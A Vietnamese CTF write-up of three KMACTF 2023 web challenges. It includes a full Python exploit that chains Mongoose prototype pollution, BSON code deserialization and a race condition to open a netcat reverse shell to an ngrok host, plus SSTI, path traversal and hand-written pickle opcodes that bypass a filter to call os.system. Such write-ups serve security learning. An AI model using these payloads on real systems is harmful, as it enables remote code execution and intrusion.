# KMACTF Lần 2 2023
## Tiệm bánh dâu tây
Trang web cho phép ta đăng ký, đăng nhập và đọc các mẫu truyện đã được thiết lập sẵn. Tiếp đến vào phân tích source code:
```javascript=
const express = require("express");
const path = require("path");
const mongoose = require("mongoose");
const crypto = require("node:crypto");
const session = require("express-session");
const fs = require("fs");
const User = mongoose.model(
"User",
new mongoose.Schema({
username: { type: String, required: true, index: { unique: true } },
password: { type: String, required: true },
info: { type: Object },
collectInfo: { type: Object },
})
);
class Res {
constructor(ok, message, data) {
this.ok = ok;
this.message = message;
this.data = data;
}
}
function sha256(content) {
return crypto.createHash("sha256").update(content).digest("hex");
}
const app = express();
app.use(express.json());
app.use(
session({
secret: crypto.randomBytes(50).toString("hex"),
resave: false,
saveUninitialized: false,
cookie: { maxAge: 60000 * 15 },
})
);
mongoose.set("strictQuery", true);
mongoose.set("sanitizeFilter", true);
let {
DB_USER,
DB_PASSWORD,
DB_HOST,
DB_PORT,
DB_NAME,
NODE_LOCAL_PORT
} = process.env;
NODE_LOCAL_PORT = parseInt(NODE_LOCAL_PORT)
const mongoDB = `mongodb://${DB_USER}:${DB_PASSWORD}@${DB_HOST}:${DB_PORT}/${DB_NAME}?authSource=admin`;
console.log(mongoDB);
main().catch((err) => {
console.log(err);
process.exit();
});
async function main() {
await mongoose.connect(mongoDB);
}
app.use("/static", express.static(path.join(__dirname, "public")));
app.get("/", (req, res) => {
if (req?.session?.username) {
let storyNumber = req.query.story;
if (typeof storyNumber === "string" && /^[0-9]+$/.test(storyNumber)) {
storyNumber = parseInt(storyNumber);
} else {
storyNumber = 1;
}
let fileName = path.join(__dirname, `stories/${storyNumber}.html`);
try {
if (fs.existsSync(fileName)) {
res.sendFile(fileName);
} else {
res.status(500).json(new Res(false, "Đã có lỗi xảy ra", null));
}
} catch (err) {
res.status(500).json(new Res(false, "Đã có lỗi xảy ra", null));
}
} else {
res.redirect("/login");
}
});
app.post("/register", (req, res) => {
if (
req?.body?.username &&
req?.body?.password &&
typeof req?.body?.username === "string" &&
typeof req?.body?.password === "string"
) {
User.findOne({
username: String(req.body.username),
})
.then((user) => {
if (user) {
res
.status(400)
.send(
new Res(
false,
"Đăng ký thất bại. Tên đăng nhập đã tồn tại!",
null
)
);
} else {
let user = new User({
username: String(req.body.username),
password: sha256(String(req.body?.password)),
info: req.body?.info,
collectInfo: {
key: String(req.body?.collectInfo?.key),
value: String(req.body?.collectInfo?.value),
},
});
user
.save()
.then(() => {
res.status(200).send(new Res(true, "Đăng ký thành công", null));
})
.catch(() => {
res.status(500).json(new Res(false, "Đã có lỗi xảy ra", null));
});
}
})
.catch(() => {
res.status(500).send(new Res(false, "Đã có lỗi xảy ra", null));
});
} else {
res.status(400).json(new Res(false, "Thông tin không hợp lệ", null));
}
});
app.get("/login", (req, res) => {
if (req?.session?.username) {
res.redirect("/");
} else {
res.sendFile("login.html", { root: __dirname + "/public/html" });
}
});
app.post("/login", (req, res) => {
if (
req?.body?.username &&
req?.body?.password &&
typeof req?.body?.username === "string" &&
typeof req?.body?.password === "string"
) {
User.findOne(
{
username: String(req.body.username),
password: sha256(String(req.body?.password)),
},
{ _id: false, username: true, info: true }
)
.then((user) => {
if (user) {
req.session.username = user?.username;
res.status(200).json(new Res(true, "Đâng nhập thành công", user));
} else {
res
.status(400)
.json(new Res(false, "Sai tên đăng nhập hoặc mật khẩu", null));
}
})
.catch(() => {
res.status(500).send(new Res(false, "Đã có lỗi xảy ra", null));
});
} else {
res.status(400).json(new Res(false, "Thông tin không hợp lệ", null));
}
});
app.post("/collect-info", (req, res) => {
if (req?.session?.username) {
User.findOneAndUpdate(
{ username: req?.session?.username },
{
$rename: {
"collectInfo.key": String(req?.body?.key),
"collectInfo.value": String(req?.body?.value),
},
}
)
.then(() => {
res.status(200).json(new Res(true, null));
})
.catch(() => {
res.status(500).json(new Res(false, "Đã có lỗi xảy ra", null));
});
} else {
res.redirect("/login");
}
});
app.post("/logout", (req, res) => {
if (req?.session) {
req.session.destroy();
}
res.redirect("/login");
});
app.listen(NODE_LOCAL_PORT, () => {
console.log(`App listening on port ${NODE_LOCAL_PORT}`);
});
```
Ta có thể thấy source code khá ngắn, có các endpoint với method như sau:
* GET : `/`, `/login`
* POST: `/register`, `/login`, `/collect-info`
Khi nhìn tới code tại `/collect-info` thì mình nhớ liền tới CVE của Prototype Pollution của Mongoose: https://huntr.dev/bounties/1eef5a72-f6ab-4f61-b31d-fc66f5b4b467/
Như vậy khi này ta có thể Prototype Pollution lên server nhưng tại đây là ở phần value chỉ có thể là String nên ta không thể gán Object được:

Tới đây thì mình stuck luôn, sau khi giải end thì anh @null001 có push thêm hint là bài blog: https://sec.vnpt.vn/2022/11/phan-tich-lo-hong-parse-server-prototype-pollution-remote-code-execution-cve-2022-39396/
Với mỗi bài blog đấy thì mình vẫn chưa làm được, sau đấy nhờ anh @vanirxxx cho mình bài phân tích của ảnh về CVE trên thì mình tiến hành debug thêm thì đã có thể khai thác được.
Nếu bạn đọc chưa rõ CVE-2022-39396 thì mình khuyến nghị nên đọc qua 2 bài blog sau, đặc biệt là bài blog của anh @vanirxxx để hiểu phần tiếp theo mình ghi:
* https://sec.vnpt.vn/2022/11/phan-tich-lo-hong-parse-server-prototype-pollution-remote-code-execution-cve-2022-39396
* https://hackmd.io/@webxxx/B1p8LmQto
Sau khi đọc phần ```Sink exploit for RCE``` tại blog của VNPT thì mình tiến hành tìm cách để áp dụng lên cho challenge.
Sau đây là phần vô cùng quan trọng được ghi trong blog của VNPT:
> Mình đọc các CVE cũ của những người khác phân tích thì thấy rằng đoạn này như sau:
Trước khi lưu dữ liệu lên DB, luồng dữ liệu sẽ được serialize qua thư viện BSON tại node_modules/mongodb/node_modules/bson/src/parser/serializer.ts
Sau đó nếu chúng ta truy cập vào nội dung được lưu trong DB thì chương trình sẽ tiến hành deserialize.
Như vậy khi dữ liệu trước khi được lưu vào DB sẽ được serialize, mình tiến hành debug:
Khi vào hàm ```serializeInto``` thì sẽ tiến hành check các điều kiện để chọn hàm serialize phù hợp với kiểu dữ liệu
Mục tiêu của mình là đi vào hàm ```serializeCode```:

Khi này Object gửi đi nếu không có key ```_bsontype``` thì sẽ trả về null, mình sẽ tạo cặp key-value là ```_bsontype:Code``` trong body gửi đi cùng với ```code:payload```

Hình dưới giải thích vì sao cần gửi phần ```code:payload```:

Chỗ để gửi 2 cặp key-value trên là ở ```info``` tại endpoint `/register` vì tại đây cho phép ta gửi value là Object:


Khi này dữ liệu đã được serialize thành như sau:

Tóm tắt: trước khi dữ liệu được lưu vào database thì sẽ bị serialize, khi một cặp key-value với value là Object và có cặp key-value là ```"_bsontype":"Code"``` thì Object đó sẽ được đưa vào ```SerializeCode```
Khi này mình xong phần serialize. Tiếp đến với phần deserialize

Để trigger deserialize thì ta chỉ cần truy vấn đến phần dữ liệu đấy, tại đây mình sẽ chọn endpoint `/login`, tại đây endpoint `/register` vẫn trigger được deserialize nhưng mình chọn `/login` lý do thì sau khi phân tích ở dưới chúng ta sẽ hiểu.
Mình tiến hành login và debug thì tới được:

Tại đây mình sẽ sửa giá trị của ```evalFunctions``` thành true bằng tính năng của Intellij và khi này mình sẽ thành công tạo Anonymous function với payload của mình tại đây. Nhưng vấn đề khi này là mình sẽ làm sao để invoke Anonymous function ấy. Thông qua 2 bài blog thì mình thấy có cách gán Anonymous function ấy là toJSON và cách nó hoạt động cũng đã được nói ở 2 bài blog:


Như ta thấy thì mình chọn endpoint `/login` để có thể trigger toJSON
Vấn đề còn lại là ta cần Prototype Pollution cho `evalFunctions` khác false, và để làm điều đấy ta sẽ dùng CVE đã được đề cập ở đầu bài tại endpoint `collect-info`


Khi mà Prototype Pollution `evalFunctions` khi đấy sẽ có ảnh hưởng tới flow code như trong bài phân tích của anh @vanirxxx, nên tại đây ta cần Race condition để bypass lỗi này.
Ngoài ra mình còn thêm vào payload ```let a = {}; delete a.__proto__.evalFunctions``` để lúc exploit xong chương trình vẫn có thể hoạt động bình thường.
```FULL SCRIPT```:
```python3=
import requests
from threading import Thread
import random
#BASE_URL = "http://103.162.14.116:8888"
BASE_URL = "http://localhost:8888"
session = requests.Session()
def register(username):
url = f"{BASE_URL}/register"
json={"collectInfo": {"key": "Code", "value": "Code"}, "info": {"toJSON": {"_bsontype": "Code", "code": "global.process.mainModule.require('child_process').execSync('busybox nc 0.tcp.ap.ngrok.io 18905 -e sh').toString();let a = {}; delete a.__proto__.evalFunctions"}}, "password": "chanze", "username": f"{username}"}
r = session.post(url, json=json)
def login(username):
url = f"{BASE_URL}/login"
json={ "password": "chanze", "username": f"{username}"}
session.post(url, json=json)
def updateCollectionInfo():
url = f"{BASE_URL}/collect-info"
json={"key": "__proto__.evalFunctions", "value": "d"}
r = session.post(url, json=json)
def login_race():
for i in range(500):
login(username)
def login_race_pollute():
for i in range(500):
login(username)
if i % 100 == 0 :
updateCollectionInfo()
username = "chanze_" + str(random.random())[2:]
register(username)
arrThread = [Thread(target=login_race) for x in range(4)]
arrThread.append(Thread(target=login_race_pollute))
for i in arrThread:
i.start()
for i in arrThread:
i.join()
```

```FLAG```: ```KMACTF{n0i_anh_b@n_mai_vang_ten_ta_diu_d@ng}```
## Baby python
Tài liệu về lỗ hổng của bài này: https://blog.abdulrah33m.com/prototype-pollution-in-python/
Trong source code ta sẽ thấy có hàm merge được triển khai chứa lỗ hổng Prototype Pollution trong python.

Tiến hành khai thác:

Ngoài việc ghi đè ```app.config['SECRET_KEY']``` thì ta có thể ghi đè các biến khác, tại đây sẽ là ```black_list2``` để khai thác SSTI

Và để bypass waf1 ta tiến hành encode unicode payload:

Tiến hành sign session với payload SSTI:

Trigger payload:


## you are a good admin
Qua source code ta thấy rằng sink RCE sẽ nằm tại:

Như vậy việc đầu tiên ta cần làm là phải vào được vòng if, khi xem qua cả source code thì ta thấy chương trình không có tính năng đăng ký, nên tại đây ta cần tìm cách có được ```SECRET_KEY``` để tạo session.
Ta có thể để ý thấy rằng ```SECRET_KEY``` sẽ được lấy từ file ```config.py``` bằng cách import vào main nên ta sẽ có ```__pycache__```.

Ngoài ra còn có endpoint ```/file``` cho phép ta đọc file bất kì ngoại trừ file python. Endpoint này có lỗ hổng Path Traversal, nên ta có thể lợi dụng để đọc file pycache để lấy ```SECRET_KEY```


Khi đã có ```SECRET_KEY``` ta đã có thể gen session tuỳ ý. Tiếp đến với phần khó nhất của bài là khai thác pickle deserialize

Như ta thấy thì tại đây filter `R` và `.` và giới hạn 32 kí tự.
Sau khi giải kết thúc thì tác giả có gửi bài blog: https://goodapple.top/archives/1069
Thì qua nghiên cứu trong bài blog ta biết được tác dụng của `R`
và `.`:


* `.` sẽ luôn tồn tại khi ta pickle.dumps() giá trị bất kì, nếu không có thì chương trình sẽ báo lỗi.
* `R` với payload khai thác pickle deserialize thông thường sẽ luôn tồn tại giá trị này, tại đây ta sẽ tự viết opcode của picle để bypass
Cách bypass được đề cập đến trong bài blog tác giả đưa, ta có thể dùng `i` hoặc `o` để bypass:
Bypass bằng `o`:
```
(cos
system
S'whoami'
o.
```
Giải thích:
`(`: Đầu tiên ta push MARK vào stack
`c`:Tiếp theo ta tiến hành import module os và lấy ra system

`S`: Để push string vào STACK

`o`: Khi này sẽ lấy ra os.system và truyền whoami vào làm tham số
Bypass bằng `i`:
```
(S'whoami'
ios
system
.'
```
`(`: Push MARK vào stack
`S`: Để push string vào stack

`i`: Khi này sẽ import module os lấy ra system, sau đấy sẽ lấy giá trị nằm giữa MARK kế trước gần nhất và chỗ `i` vừa vào làm tham số cho os.system và thực thi
Như đã nói ở trên thì `.` là kí tự sẽ luôn có khi ta pickle.dumps() vì đây là kí tự STOP, nếu không có thì sẽ văng ra lỗi, nhưng code của ta vẫn sẽ được thực thi nên tại đây mình chỉ việc bỏ `.` ra khỏi opcode tự viết là được
```PAYLOAD```:
```python=
import base64
import pickle
data = b'''(cos
system
S'mv /fl* /flag'
o'''
print(len(data))
data=base64.b64encode(data)
print(data)
```
Khi này ta chỉ việc dùng tính năng đọc file tại endpoint `/file` để đọc flag